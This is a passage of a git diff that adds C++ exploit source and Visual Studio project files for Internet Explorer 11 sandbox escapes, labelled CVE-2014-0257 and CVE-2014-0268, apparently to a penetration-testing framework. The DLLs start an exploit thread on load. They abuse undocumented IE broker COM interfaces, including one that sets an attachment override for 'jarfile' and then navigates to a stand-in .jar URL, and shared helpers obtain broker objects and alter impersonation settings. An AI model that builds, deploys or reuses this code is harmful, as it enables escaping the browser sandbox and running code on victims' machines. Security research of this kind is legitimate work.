catch (_com_error e) + { + DebugPrintf("COM Error: %ls\n", e.ErrorMessage()); + } + } + else + { + DebugPrintf("Error get dfsvc IUnknown: %08X\n", hr); + } +} + +DWORD CALLBACK ExploitThread(LPVOID hModule) +{ + CoInitialize(nullptr); + DoDfsvcExploit(); + CoUninitialize(); + + FreeLibraryAndExitThread((HMODULE)hModule, 0); +} \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/CVE-2014-0257.vcxproj b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/CVE-2014-0257.vcxproj new file mode 100755 index 0000000000..2c9db40e6f --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/CVE-2014-0257.vcxproj @@ -0,0 +1,182 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {2A46841E-E3FC-42FF-BCDF-70F76E757E26} + Win32Proj + CVE20140268 + + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + false + v120 + true + Unicode + + + DynamicLibrary + false + v120 + true + Unicode + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + + + Windows + true + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + + + Windows + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + MultiThreaded + + + Windows + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + MultiThreaded + + + Windows + true + true + true + + + + + + + + + + false + false + + + + + false + false + + + + + + + Create + Create + Create + Create + + + + + {04dde547-bb65-4c0c-b80b-231df42c7a1d} + + + + + + \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/dllmain.cpp b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/dllmain.cpp new file mode 100755 index 0000000000..9eb281e8a8 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/dllmain.cpp @@ -0,0 +1,23 @@ +// dllmain.cpp : Defines the entry point for the DLL application. +#include "stdafx.h" + +DWORD CALLBACK ExploitThread(LPVOID hModule); + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + CreateThread(nullptr, 0, ExploitThread, hModule, 0, 0); + break; + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/stdafx.cpp b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/stdafx.cpp new file mode 100755 index 0000000000..11763c77a3 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// CVE-2014-0268.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/stdafx.h b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/stdafx.h new file mode 100755 index 0000000000..562cb0adb0 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/stdafx.h @@ -0,0 +1,11 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#include +#include diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/targetver.h b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/targetver.h new file mode 100755 index 0000000000..87c0086de7 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/CVE-2014-0268.cpp b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/CVE-2014-0268.cpp new file mode 100755 index 0000000000..f4be2a5997 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/CVE-2014-0268.cpp @@ -0,0 +1,81 @@ +// This file is part of IE11SandboxEsacapes. + +// IE11SandboxEscapes is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// IE11SandboxEscapes is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with IE11SandboxEscapes. If not, see . + +#include "stdafx.h" +#include +#include +#include + +_COM_SMARTPTR_TYPEDEF(IWebBrowser2, __uuidof(IWebBrowser2)); + +void DoSetAttachmentUserOverride() +{ + IShdocvwBroker* shdocvw = nullptr; + + try + { + HRESULT ret; + shdocvw = CreateSHDocVw(); + + CLSID clsid; + + CLSIDFromString(L"{0002DF01-0000-0000-C000-000000000046}", &clsid); + + IWebBrowser2Ptr browser; + + ret = CoCreateInstance(clsid, nullptr, CLSCTX_SERVER, IID_PPV_ARGS(&browser)); + if (FAILED(ret)) + { + DebugPrintf("CoCreateInstance: %08X", ret); + throw new _com_error(ret); + } + + DebugPrintf("browser: %p", browser); + + unsigned char buf[1] = { 0 }; + + ret = shdocvw->SetAttachmentUserOverride(L"jarfile"); + if (FAILED(ret)) + { + DebugPrintf("Failed to set attachement user override\n"); + throw new _com_error(ret); + } + + bstr_t nav = L"http://www.dummy.local/testapp.jar"; + + DebugPrintf("Navigate: %08X", browser->Navigate(nav, nullptr, nullptr, nullptr, nullptr)); + } + catch (_com_error e) + { + DebugPrintf("Error during processing: %ls\n", e.ErrorMessage()); + } + + if (shdocvw) + { + shdocvw->Release(); + shdocvw = nullptr; + } +} + +DWORD CALLBACK ExploitThread(LPVOID hModule) +{ + CoInitialize(nullptr); + DoSetAttachmentUserOverride(); + CoUninitialize(); + + FreeLibraryAndExitThread((HMODULE)hModule, 0); + + return 0; +} \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/CVE-2014-0268.vcxproj b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/CVE-2014-0268.vcxproj new file mode 100755 index 0000000000..ae208e17c4 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/CVE-2014-0268.vcxproj @@ -0,0 +1,183 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {CE924704-AC2D-46A7-BB19-2C99BC97CCE9} + Win32Proj + CVE20140268 + CVE-2014-0268 + + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + false + v120 + true + Unicode + + + DynamicLibrary + false + v120 + true + Unicode + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + + + Windows + true + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + + + Windows + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + MultiThreaded + + + Windows + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions) + true + ..\CommonUtils + MultiThreaded + + + Windows + true + true + true + + + + + + + + + + false + false + + + + + false + false + + + + + + + Create + Create + Create + Create + + + + + {04dde547-bb65-4c0c-b80b-231df42c7a1d} + + + + + + \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/dllmain.cpp b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/dllmain.cpp new file mode 100755 index 0000000000..042cf2c7c4 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/dllmain.cpp @@ -0,0 +1,23 @@ +// dllmain.cpp : Defines the entry point for the DLL application. +#include "stdafx.h" + +DWORD CALLBACK ExploitThread(LPVOID hModule); + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + CreateThread(nullptr, 0, ExploitThread, hModule, 0, 0); + break; + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/stdafx.cpp b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/stdafx.cpp new file mode 100755 index 0000000000..11763c77a3 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// CVE-2014-0268.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/stdafx.h b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/stdafx.h new file mode 100755 index 0000000000..562cb0adb0 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/stdafx.h @@ -0,0 +1,11 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#include +#include diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/targetver.h b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/targetver.h new file mode 100755 index 0000000000..87c0086de7 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2014-0268/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/external/source/exploits/IE11SandboxEscapes/CommonUtils/CommonUtils.vcxproj b/external/source/exploits/IE11SandboxEscapes/CommonUtils/CommonUtils.vcxproj new file mode 100755 index 0000000000..2e2b9ea000 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CommonUtils/CommonUtils.vcxproj @@ -0,0 +1,154 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {04DDE547-BB65-4C0C-B80B-231DF42C7A1D} + Win32Proj + CommandUtils + CommonUtils + + + + StaticLibrary + true + v120 + Unicode + + + StaticLibrary + true + v120 + Unicode + + + StaticLibrary + false + v120 + true + Unicode + + + StaticLibrary + false + v120 + true + Unicode + + + + + + + + + + + + + + + + + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions) + true + + + Windows + true + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions) + true + + + Windows + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions) + true + MultiThreaded + + + Windows + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions) + true + MultiThreaded + + + Windows + true + true + true + + + + + + + + + + + NotUsing + + + Create + Create + Create + Create + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CommonUtils/Utils.cpp b/external/source/exploits/IE11SandboxEscapes/CommonUtils/Utils.cpp new file mode 100755 index 0000000000..dbc6eeeb92 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CommonUtils/Utils.cpp @@ -0,0 +1,373 @@ +// This file is part of IE11SandboxEsacapes. + +// IE11SandboxEscapes is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// IE11SandboxEscapes is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with IE11SandboxEscapes. If not, see . + +#include "stdafx.h" + +#include "Utils.h" + +#include +#include +#include + +#pragma comment(lib, "shlwapi.lib") + +static BOOL g_hasShDocIID; +static IID g_shDocIID; + +BOOL GetIIDForName(LPCWSTR lpName, IID* riid) +{ + HKEY hRoot = nullptr; + ULONG status; + + status = RegOpenKeyEx(HKEY_CLASSES_ROOT, L"Interface", 0, KEY_ENUMERATE_SUB_KEYS, &hRoot); + if (status == 0) + { + WCHAR keyName[128]; + DWORD index = 0; + BOOL foundKey = FALSE; + + while (true) + { + HKEY hSubKey; + + status = RegEnumKeyW(hRoot, index, keyName, _countof(keyName)); + if (status != 0) + { + break; + } + + index++; + + status = RegOpenKeyEx(hRoot, keyName, 0, KEY_QUERY_VALUE, &hSubKey); + if (status != 0) + { + continue; + } + + DWORD dwType; + WCHAR valueName[256]; + DWORD dwSize = sizeof(valueName)-sizeof(WCHAR); + + status = RegQueryValueEx(hSubKey, nullptr, nullptr, &dwType, (BYTE*)valueName, &dwSize); + RegCloseKey(hSubKey); + + if ((status != 0) || (dwType != REG_SZ)) + { + continue; + } + + // Ensure NUL terminate + valueName[dwSize / sizeof(WCHAR)] = 0; + + if (_wcsicmp(valueName, lpName) == 0) + { + foundKey = TRUE; + break; + } + } + + RegCloseKey(hRoot); + + if (foundKey) + { + return SUCCEEDED(IIDFromString(keyName, riid)); + } + } + else + { + DebugPrintf("Could not open Interface key %d\n", status); + } + + return FALSE; +} + +REFIID GetSHDocIID() +{ + if (!g_hasShDocIID) + { + memset(&g_shDocIID, 0, sizeof(g_shDocIID)); + + g_hasShDocIID; + + GetIIDForName(L"ISHDocVwBroker", &g_shDocIID); + } + + return g_shDocIID; +} + +bstr_t GetTemp(LPCWSTR name) +{ + WCHAR tempPath[MAX_PATH]; + + GetTempPath(MAX_PATH, tempPath); + + PathAppend(tempPath, name); + + return tempPath; +} + +bstr_t GetTempPath() +{ + WCHAR tempPath[MAX_PATH]; + + GetTempPath(MAX_PATH, tempPath); + + return tempPath; +} + +bstr_t WriteTempFile(LPCWSTR name, unsigned char* buf, size_t len) +{ + WCHAR tempPath[MAX_PATH]; + + GetTempPath(MAX_PATH, tempPath); + + PathAppend(tempPath, name); + + FILE* fp = nullptr; + + if (_wfopen_s(&fp, tempPath, L"wb") == 0) + { + fwrite(buf, 1, len, fp); + + fclose(fp); + + return tempPath; + } + else + { + return L""; + } +} + +std::vector ReadFileToMem(LPCWSTR name) +{ + FILE* fp; + std::vector ret; + + if (_wfopen_s(&fp, name, L"rb") == 0) + { + fseek(fp, 0, SEEK_END); + + ret.resize(ftell(fp)); + fseek(fp, 0, SEEK_SET); + + fread(&ret[0], 1, ret.size(), fp); + + fclose(fp); + } + + return ret; +} + +void DebugPrintf(LPCSTR lpFormat, ...) +{ +#ifdef _DEBUG + CHAR buf[1024]; + va_list va; + + va_start(va, lpFormat); + + StringCbVPrintfA(buf, sizeof(buf), lpFormat, va); + + OutputDebugStringA(buf); +#endif +} + +bstr_t GetUserSid() +{ + HANDLE hToken = nullptr; + PTOKEN_USER pUser = nullptr; + LPWSTR userName = nullptr; + bstr_t ret; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) + { + DebugPrintf("Error opening process token: %d", GetLastError()); + goto error; + } + + //TOKEN_USER user = { 0 }; + DWORD retLength = 0; + + if (!GetTokenInformation(hToken, TokenUser, nullptr, 0, &retLength)) + { + if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) + { + DebugPrintf("Error getting token information size: %d", GetLastError()); + goto error; + } + } + + pUser = (PTOKEN_USER) new char[retLength]; + + if (!GetTokenInformation(hToken, TokenUser, pUser, retLength, &retLength)) + { + DebugPrintf("Error getting token information: %d", GetLastError()); + goto error; + } + + if (!ConvertSidToStringSidW(pUser->User.Sid, &userName)) + { + DebugPrintf("Error converting Sid to String: %d", GetLastError()); + goto error; + } + + ret = userName; + +error: + + if (hToken) + { + CloseHandle(hToken); + } + + if (pUser) + { + delete[] pUser; + } + + if (userName) + { + LocalFree(userName); + } + + return ret; +} + +typedef HRESULT(__stdcall *fCoCreateUserBroker)(IIEUserBroker** ppBroker); + +GUID CLSID_CShdocvwBroker = { 0x9C7A1728, +0x0B694, 0x427A, { 0x94, 0xA2, 0xA1, 0xB2, 0xC6, 0x0F, 0x03, 0x60 } }; + +void DisableImpersonation(IUnknown* pUnk) +{ + IClientSecurity* sec = nullptr; + + HRESULT hr = pUnk->QueryInterface(IID_PPV_ARGS(&sec)); + if (SUCCEEDED(hr)) + { + hr = sec->SetBlanket(pUnk, RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, nullptr, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_ANONYMOUS, nullptr, EOAC_NONE); + DebugPrintf("SetBlanket: %08X", hr); + sec->Release(); + } + else + { + DebugPrintf("Error getting client security: %08X", hr); + } +} + +void SetCloaking(IUnknown* pUnk) +{ + IClientSecurity* sec = nullptr; + + HRESULT hr = pUnk->QueryInterface(IID_PPV_ARGS(&sec)); + if (SUCCEEDED(hr)) + { + hr = sec->SetBlanket(pUnk, RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, nullptr, RPC_C_AUTHN_LEVEL_DEFAULT, + RPC_C_IMP_LEVEL_IDENTIFY, nullptr, EOAC_DYNAMIC_CLOAKING); + DebugPrintf("SetBlanket: %08X", hr); + sec->Release(); + } + else + { + DebugPrintf("Error getting client security: %08X", hr); + } +} + +IIEUserBrokerPtr CreateBroker() +{ + HMODULE hMod = LoadLibrary(L"iertutil.dll"); + + fCoCreateUserBroker pfCoCreateUserBroker = (fCoCreateUserBroker)GetProcAddress(hMod, (LPCSTR)58); + + if (pfCoCreateUserBroker) + { + IIEUserBrokerPtr broker; + + HRESULT ret = pfCoCreateUserBroker(&broker); + + DebugPrintf("CreateBroker: %08X - %p", ret, broker); + + return broker; + } + + return nullptr; +} + +IShdocvwBroker* CreateSHDocVw() +{ + IIEUserBrokerPtr broker = CreateBroker(); + + if (broker != nullptr) + { + HRESULT ret; + IShdocvwBroker* shdocvw; + ret = broker->BrokerCreateKnownObject(CLSID_CShdocvwBroker, GetSHDocIID(), (IUnknown**)&shdocvw); + DebugPrintf("IShdocvwBroker: %08X %p", ret, shdocvw); + + if (SUCCEEDED(ret)) + { + return shdocvw; + } + } + + return nullptr; +} + +bstr_t GetWindowsSystemDirectory() +{ + WCHAR buf[MAX_PATH]; + + GetSystemDirectory(buf, MAX_PATH); + + return buf; +} + +bstr_t GetExecutableFileName(HMODULE hModule) +{ + WCHAR buf[MAX_PATH]; + + ::GetModuleFileNameW(hModule, buf, MAX_PATH); + + return buf; +} + +bstr_t GetSessionPath() +{ + std::wstringstream ss; + + WCHAR objPath[MAX_PATH + 1] = { 0 }; + ULONG length = MAX_PATH; + DWORD dwSessionId; + + if (ProcessIdToSessionId(GetCurrentProcessId(), &dwSessionId)) + { + ss << L"\\Sessions\\" << dwSessionId; + + return ss.str().c_str(); + } + + return L""; +} + +LSTATUS CreateRegistryValueString(HKEY hKey, LPCWSTR lpName, LPCWSTR lpString) +{ + return RegSetValueEx(hKey, lpName, 0, REG_SZ, (const BYTE*)lpString, (wcslen(lpString) + 1) * sizeof(WCHAR)); +} + +LSTATUS CreateRegistryValueDword(HKEY hKey, LPCWSTR lpName, DWORD d) +{ + return RegSetValueEx(hKey, lpName, 0, REG_DWORD, (const BYTE*)&d, sizeof(d)); +} \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CommonUtils/Utils.h b/external/source/exploits/IE11SandboxEscapes/CommonUtils/Utils.h new file mode 100755 index 0000000000..db2c100fc8 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CommonUtils/Utils.h @@ -0,0 +1,21 @@ +#include "interfaces.h" + +#include + +bstr_t GetTemp(LPCWSTR name); +bstr_t GetTempPath(); +bstr_t WriteTempFile(LPCWSTR name, unsigned char* buf, size_t len); +std::vector ReadFileToMem(LPCWSTR name); +void DebugPrintf(LPCSTR lpFormat, ...); +bstr_t GetUserSid(); +void DisableImpersonation(IUnknown* pUnk); +void SetCloaking(IUnknown* pUnk); +IIEUserBrokerPtr CreateBroker(); +IShdocvwBroker* CreateSHDocVw(); +bstr_t GetWindowsSystemDirectory(); +bstr_t GetExecutableFileName(HMODULE hModule); +extern "C" int DeleteLink(LPCWSTR par_src); +extern "C" int CreateLink(LPCWSTR par_src, LPCWSTR par_dst, int opt_volatile); +bstr_t GetSessionPath(); +LSTATUS CreateRegistryValueString(HKEY hKey, LPCWSTR lpName, LPCWSTR lpString); +LSTATUS CreateRegistryValueDword(HKEY hKey, LPCWSTR lpName, DWORD d); \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CommonUtils/interfaces.h b/external/source/exploits/IE11SandboxEscapes/CommonUtils/interfaces.h new file mode 100755 index 0000000000..c210b8ed2e --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CommonUtils/interfaces.h @@ -0,0 +1,258 @@ +#pragma once + +#include +#include +#include +#include +#include + +struct __declspec(uuid("1AC7516E-E6BB-4A69-B63F-E841904DC5A6")) IIEUserBroker : IUnknown +{ + virtual HRESULT STDMETHODCALLTYPE Initialize(HWND *, LPCWSTR, LPDWORD) = 0; + virtual HRESULT STDMETHODCALLTYPE CreateProcessW(DWORD pid, LPWSTR appName, LPWSTR cmdline, DWORD, DWORD, LPCSTR, WORD*, /* _BROKER_STARTUPINFOW*/ void *, /* _BROKER_PROCESS_INFORMATION */ void*) = 0; + virtual HRESULT STDMETHODCALLTYPE WinExec(DWORD pid, LPCSTR, DWORD, DWORD*) = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerCreateKnownObject(_GUID const &, _GUID const &, IUnknown * *) = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerCoCreateInstance() = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerCoCreateInstanceEx(DWORD pid, _GUID const &, IUnknown *, DWORD, _COSERVERINFO *, DWORD, /* tagBROKER_MULTI_QI */ void *) = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerCoGetClassObject(DWORD pid, _GUID const &, DWORD, _COSERVERINFO *, _GUID const &, IUnknown * *) = 0; +}; + +struct __declspec(uuid("BDB57FF2-79B9-4205-9447-F5FE85F37312")) CIEAxInstallBroker +{ +}; + +struct __declspec(uuid("B2103BDB-B79E-4474-8424-4363161118D5")) IIEAxInstallBrokerBroker : IUnknown +{ + virtual HRESULT STDMETHODCALLTYPE BrokerGetAxInstallBroker(REFCLSID rclsid, REFIID riid, int unknown, int type, HWND, IUnknown** ppv) = 0; +}; + +_COM_SMARTPTR_TYPEDEF(IIEAxInstallBrokerBroker, __uuidof(IIEAxInstallBrokerBroker)); + +struct ERF +{ + //+0x000 erfOper : Int4B + // + 0x004 erfType : Int4B + // + 0x008 fError : Int4B + + int erfOper; + int erfType; + int fError; +}; + +struct FNAME +{ + /*+0x000 pszFilename : Ptr32 Char + + 0x004 pNextName : Ptr32 sFNAME + + 0x008 status : Uint4B*/ + + char* pszFilenane; + FNAME* pNextName; + UINT status; +}; + +struct SESSION +{ + /*+0x000 cbCabSize : Uint4B + + 0x004 erf : ERF + + 0x010 pFileList : Ptr32 sFNAME + + 0x014 cFiles : Uint4B + + 0x018 flags : Uint4B + + 0x01c achLocation : [260] Char + + 0x120 achFile : [260] Char + + 0x224 achCabPath : [260] Char + + 0x328 pFilesToExtract : Ptr32 sFNAME*/ + + UINT cbCabSize; + ERF erf; + FNAME* pFileList; + UINT cFiles; + UINT flags; + char achLocation[260]; + char achFile[260]; + char achCabPath[260]; + FNAME* pFilesToExtract; +}; + +struct __declspec(uuid("BC0EC710-A3ED-4F99-B14F-5FD59FDACEA3")) IIeAxiInstaller2 : IUnknown +{ + virtual HRESULT STDMETHODCALLTYPE VerifyFile(BSTR, HWND__ *, BSTR, BSTR, BSTR, unsigned int, unsigned int, _GUID const &, BSTR*, unsigned int *, unsigned char **) = 0; + virtual HRESULT STDMETHODCALLTYPE RunSetupCommand(BSTR, HWND__ *, BSTR, BSTR, BSTR, BSTR, unsigned int, unsigned int *) = 0; + virtual HRESULT STDMETHODCALLTYPE InstallFile(BSTR sessionGuid, HWND__ *, BSTR sourcePath, BSTR sourceFile, BSTR destPath, BSTR destFile, unsigned int unk) = 0; + virtual HRESULT STDMETHODCALLTYPE RegisterExeFile(BSTR sessionGuid, BSTR cmdline, int unk, _PROCESS_INFORMATION *) = 0; + virtual HRESULT STDMETHODCALLTYPE RegisterDllFile(BSTR, BSTR, int) = 0; + virtual HRESULT STDMETHODCALLTYPE InstallCatalogFile(BSTR, BSTR) = 0; + virtual HRESULT STDMETHODCALLTYPE UpdateLanguageCheck(BSTR, unsigned short const *, _FILETIME) = 0; + virtual HRESULT STDMETHODCALLTYPE UpdateDistributionUnit(BSTR, unsigned short const *, unsigned short const *, unsigned int, unsigned int *, unsigned short const *, int, unsigned short const *, unsigned short const *, long, unsigned short const *, unsigned short const *, unsigned short const *, unsigned int, unsigned short const * *, unsigned int, unsigned short const * *, unsigned int, unsigned short const * *, unsigned short const * *) = 0; + virtual HRESULT STDMETHODCALLTYPE UpdateModuleUsage(BSTR, char const *, char const *, char const *, char const *, unsigned int) = 0; + virtual HRESULT STDMETHODCALLTYPE EnumerateFiles(BSTR sessionGuid, char const * cabPath, SESSION *session) = 0; + virtual HRESULT STDMETHODCALLTYPE ExtractFiles(BSTR sessionGuid, char const * cabPath, SESSION *session) = 0; + virtual HRESULT STDMETHODCALLTYPE RemoveExtractedFilesAndDirs(BSTR, SESSION *) = 0; + virtual HRESULT STDMETHODCALLTYPE CreateExtensionsManager(BSTR, _GUID const &, IUnknown * *) = 0; + virtual HRESULT STDMETHODCALLTYPE RegisterDllFile2(BSTR, BSTR, int, int) = 0; + virtual HRESULT STDMETHODCALLTYPE UpdateDistributionUnit2(BSTR, unsigned short const *, unsigned short const *, unsigned int, unsigned int *, unsigned short const *, int, unsigned short const *, unsigned short const *, long, unsigned short const *, unsigned short const *, unsigned short const *, unsigned int, unsigned short const * *, int *, unsigned int, unsigned short const * *, unsigned int, unsigned short const * *, unsigned short const * *) = 0; + virtual HRESULT STDMETHODCALLTYPE UpdateAllowedDomainsList(_GUID const &, BSTR, int) = 0; + virtual HRESULT STDMETHODCALLTYPE DeleteExtractedFile(char const *) = 0; +}; + +_COM_SMARTPTR_TYPEDEF(IIeAxiInstaller2, __uuidof(IIeAxiInstaller2)); + +struct __declspec(uuid("9AEA8A59-E0C9-40F1-87DD-757061D56177")) IIeAxiAdminInstaller : IUnknown +{ + virtual HRESULT STDMETHODCALLTYPE InitializeAdminInstaller(BSTR, BSTR, BSTR*) = 0; +}; + +_COM_SMARTPTR_TYPEDEF(IIeAxiAdminInstaller, __uuidof(IIeAxiAdminInstaller)); + +struct __declspec(uuid("A4AAAE00-22E5-4742-ABB7-379D9493A3B7")) IShdocvwBroker : IUnknown +{ + virtual HRESULT STDMETHODCALLTYPE RedirectUrl(WORD const *, DWORD, /* _BROKER_REDIRECT_DETAIL */ void *, /* IXMicTestMode */ void*) = 0; + virtual HRESULT STDMETHODCALLTYPE RedirectShortcut(WORD const *, WORD const *, DWORD, /* _BROKER_REDIRECT_DETAIL */ void *) = 0; + virtual HRESULT STDMETHODCALLTYPE RedirectUrlWithBindInfo(/* _BROKER_BIND_INFO */ void *, /* _BROKER_REDIRECT_DETAIL */ void *, /* IXMicTestMode */ void *) = 0; + virtual HRESULT STDMETHODCALLTYPE NavigateUrlInNewTabInstance(/* _BROKER_BIND_INFO */ void *, /*_BROKER_REDIRECT_DETAIL */ void *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowInternetOptions(HWND *, WORD const *, WORD const *, long, ITEMIDLIST_ABSOLUTE * *, DWORD, int *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowInternetOptionsZones(HWND *, WORD const *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowInternetOptionsLanguages(HWND *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowPopupManager(HWND *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowCachesAndDatabases(HWND *) = 0; + virtual HRESULT STDMETHODCALLTYPE ConfigurePopupExemption(HWND *, int, WORD const *, int *) = 0; + virtual HRESULT STDMETHODCALLTYPE ConfigurePopupMgr(HWND *, int) = 0; + 